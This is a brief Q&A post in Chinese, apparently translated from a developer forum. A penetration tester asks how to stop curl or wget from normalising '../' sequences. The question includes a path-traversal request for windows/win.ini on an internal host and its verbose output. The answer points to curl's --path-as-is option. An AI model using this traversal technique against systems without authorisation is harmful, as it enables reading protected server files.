Question

在渗透测试期间，我想查询包含../的特定URL来查找目录漏洞：

curl http://eurosql2.domain.local:7002/../../../../../../../../../../../../windows/win.ini

现在，问题在于curl（和wget）通过删除所有../来截断此URL：

* Rebuilt URL to: http://eurosql2.domain.local:7002/windows/win.ini
*   Trying 192.168.0.24...
* TCP_NODELAY set
* Connected to eurosql2.domain.local (192.168.0.24) port 7002 (#0)
> GET /windows/win.ini HTTP/1.1
> Host: eurosql2.domain.local:7002
> User-Agent: curl/7.60.0
> Accept: */*
> 
* Empty reply from server
* Connection #0 to host eurosql2.domain.local left intact
curl: (52) Empty reply from server

如何防止curl（或wget）删除这些../？

Answer 1

curl专门为此目的而使用--path-as-is！

防止curl（或wget）从目标URL中删除“ ../”？

1 个答案: